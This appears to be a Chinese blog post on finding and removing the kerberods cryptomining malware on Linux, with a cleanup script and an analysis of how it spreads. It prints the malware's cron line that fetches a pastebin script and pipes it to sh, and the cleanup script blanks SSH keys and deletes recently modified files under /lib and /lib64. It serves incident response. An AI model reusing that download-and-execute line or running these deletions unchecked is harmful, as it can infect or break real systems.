一. 症状及表现

CPU使用率异常高,外出流量异常

crontab异常,存在如下定时任务(基本上就可以确定了)

[root@mdw ~]# crontab -l

*/15 * * * * (curl -fsSL https://pastebin.com/raw/xmxHzu5P||wget -q -O- https://pastebin.com/raw/xmxHzu5P)|sh

1

2

在以下目录下存在异常文件

*注:ls top ps等命令已经被病毒的动态链接库劫持,无法正常使用,大家需要下载busybox,具体的安装和下载步骤将在后文提供。

[root@mdw ~]# busybox ls -a /tmp |grep ds

/tmp/kerberods

/tmp/khugepageds

[root@mdw ~]# busybox ls -a /usr/sbin |grep kerber

/usr/sbin/kerberods

[root@mdw ~]# busybox ls -a /etc |grep ld.so.preload

/etc/ld.so.preload

[root@mdw ~]# busybox ls -a /usr/local/lib |grep libcry 

/usr/local/lib/libcryptod.so

1

2

3

4

5

6

7

8

9

存在以下异常进程

busybox ps -ef | busybox grep -v grep | busybox grep 'kerberods'

busybox ps -ef | busybox grep -v grep | busybox grep 'khugepageds' 

1

2

存在以下异常开机项

/etc/rc.d/init.d/kerberods

/etc/init.d/netdns

1

2

常用命令动态链接库被异常修改

[root@mdw ~]# ldd `whereis top |awk '{print $2}'` |grep usr

xxx

1

2

二. 查杀方法

先把方法放在前边,后文将分析该病毒的处理逻辑、感染途径和代码分析


安装busybox

#!/bin/bash

#获取busybox安装包,也可以其他机器下载后离线上传到目标机器

wget http://busybox.net/downloads/busybox-1.21.0.tar.bz2


#需要bzip2,要是机器没有安装的话

yum -y install bzip2

#或者离线安装bzip2

#tar zxvf bzip2-1.0.6.tar.gz

#cd bzip2-1.0.6/

#make -f Makefile-libbz2_so

#make && make install


tar -xvf busybox-1.21.0.tar.bz2

cd ./busybox-1.21.0

make defconfig

#注意,这里最好在相同操作系统的正常机器上进行静态链接

#防止动态链接还被挖矿病毒的动态库劫持,导致删除文件不成功

#如果条件不允许,第二点将会重点说明

make

make install

ln -s `pwd`/busybox /usr/bin/busybox

busybox|grep BusyBox |grep v

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

如果最终出现以下信息,证明安装成功


BusyBox v1.21.0 (2019-04-15 19:51:44 CST) multi-call binary.

1

重要说明

注意,这些挖矿病毒都会贱兮兮的更改动态链接库,如果安装有vim等静态链接的文件编辑工具工具,可以用vim打开下边的文件,注释掉里边的内容

[root@mdw ~]#  vim /etc/ld.so.preload

1

查杀脚本

#!/bin/bash

#可以重复执行几次,防止互相拉起导致删除失败


function installBusyBox(){

    #参考第一段

    busybox|grep BusyBox |grep v

}


function banHosts(){

    #删除免密认证,防止继续通过ssh进行扩散,后续需自行恢复,可不执行

    busybox echo "" > /root/.ssh/authorized_keys

    busybox echo "" > /root/.ssh/id_rsa

    busybox echo "" > /root/.ssh/id_rsa.pub

    busybox echo "" > /root/.ssh/known_hosts

    busybox echo "" > /root/.ssh/auth

    #iptables -I INPUT -p tcp --dport 445 -j DROP

    busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com" >> /etc/hosts

}



function fixCron(){

    #修复crontab

    busybox chattr -i  /etc/cron.d/root  2>/dev/null

    busybox rm -f /etc/cron.d/root

    busybox chattr -i /var/spool/cron/root  2>/dev/null

    busybox rm -f /var/spool/cron/root

    busybox chattr -i /var/spool/cron/tomcat  2>/dev/null

    busybox rm -f /var/spool/cron/tomcat

    busybox chattr -i /var/spool/cron/crontabs/root  2>/dev/null

    busybox rm -f /var/spool/cron/crontabs/root

    busybox rm -rf /var/spool/cron/tmp.*

    busybox rm -rf /var/spool/cron/crontabs

    busybox touch /var/spool/cron/root

    busybox chattr +i /var/spool/cron/root

}


function killProcess(){

    #修复异常进程

    busybox ps -ef | busybox grep -v grep | busybox grep 'kerberods' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null

    busybox ps -ef | busybox grep -v grep | busybox grep 'khugepageds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null

    busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null

    busybox ps -ef | busybox grep -v grep | busybox egrep 'kthrotlds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null

    busybox ps -ef | busybox grep -v grep | busybox egrep 'kpsmouseds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null

    busybox ps -ef | busybox grep -v grep | busybox egrep 'kintegrityds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null

    busybox rm -f /tmp/khugepageds

    busybox rm -f /usr/sbin/kerberods

    busybox rm -f /usr/sbin/kthrotlds

    busybox rm -f /usr/sbin/kintegrityds

    busybox rm -f /usr/sbin/kpsmouseds

    busybox find /tmp -mtime -4 -type f | busybox xargs busybox rm -rf

}



function clearLib(){

    #修复动态库

    busybox rm -f /etc/ld.so.preload

    busybox rm -f /usr/local/lib/libcryptod.so

    busybox rm -f /usr/local/lib/libcset.so

    busybox chattr -i /etc/ld.so.preload 2>/dev/null

    busybox chattr -i /usr/local/lib/libcryptod.so  2>/dev/null

    busybox chattr -i /usr/local/lib/libcset.so 2>/dev/null

    busybox find /usr/local/lib/ -mtime -4 -type f| busybox xargs rm -rf

    busybox find /lib/ -mtime -4 -type f| busybox xargs rm -rf

    busybox find /lib64/ -mtime -4 -type f| busybox xargs rm -rf

    busybox rm -f /etc/ld.so.cache

    busybox rm -f /etc/ld.so.preload

    busybox rm -f /usr/local/lib/libcryptod.so

    busybox rm -f /usr/local/lib/libcset.so

    busybox rm -rf /usr/local/lib/libdevmapped.so

    busybox rm -rf /usr/local/lib/libpamcd.so 

    busybox rm -rf /usr/local/lib/libdevmapped.so

    busybox touch /etc/ld.so.preload

    busybox chattr +i /etc/ld.so.preload

    ldconfig

}


function clearInit(){

    #修复异常开机项

    #chkconfig netdns off 2>/dev/null

    #chkconfig –del netdns 2>/dev/null

    #systemctl disable netdns 2>/dev/null

    busybox rm -f /etc/rc.d/init.d/kerberods

    busybox rm -f /etc/init.d/netdns

    busybox rm -f /etc/rc.d/init.d/kthrotlds

    busybox rm -f /etc/rc.d/init.d/kpsmouseds

    busybox rm -f /etc/rc.d/init.d/kintegrityds

    #chkconfig watchdogs off 2>/dev/null

    #chkconfig --del watchdogs 2>/dev/null

    #chkconfig --del kworker 2>/dev/null

    #chkconfig --del netdns 2>/dev/null

}


function recoverOk(){

    service crond start

    busybox sleep 3

    busybox chattr -i /var/spool/cron/root

    echo "OK,BETTER REBOOT YOUR DEVICE"

}


#先停止crontab服务

service crond stop

#防止病毒继续扩散

banHosts

#清除lib劫持

clearLib

#修复crontab

fixCron

killProcess

clearLib

killProcess

#删除异常开机项

clearInit

fixCron


recoverOk


三. 病毒分析

感染路径

① ***者通过网络进入第一台被感染的机器(redis未认证漏洞、ssh密码泄露登录等)。

② 第一台感染的机器会读取known_hosts文件,遍历ssh登录,如果是做了免密登录认证,则将直接进行横向传播。

主要模块

主恶意程序:kerberods

恶意Hook库:libcryptod.so libcryptod.c

挖矿程序:khugepageds

恶意脚本文件:netdns (用作kerberods的启停等管理)

执行顺序

① 执行恶意脚本下载命令:


(curl -fsSL https://pastebin.com/raw/xxx||wget -q -O- https://pastebin.com/raw/xxx)|sed 's/\r//'|sh

1

该下载后的脚本主要操作有

1> 将指令添加到crontab中

2> kill掉同类挖矿进程

3> kill掉高好资源的其他进程

4> 下载执行主恶意程序kerberods

5> 横向ssh传播


② 主进程操作

1> 添加至开机启动

2> 生成了netdns文件

3> 将netdns文件设置为开机启动

4> 编译libcryptod.c为/usr/local/lib/libcryptod.so

5> 预加载动态链接库,恶意hook关键系统操作函数

6> 修改/etc/cron.d/root文件,增加定时任务

7> 拉起khugepageds挖矿进程


四. 后续安全加固

SSH

① 谨慎做免密登录

② 不使用默认的22端口

③ 禁止root登录

Redis

① 增加授权认证(requirepass参数)

② 尽量使用docker版本(docker pull redis)

③ 隐藏重要的命令

五.参考

watchdogs挖矿病毒,感染分析及解决

挖矿病毒kerberods查杀及分析


原文:https://blog.csdn.net/u010457406/article/details/89328869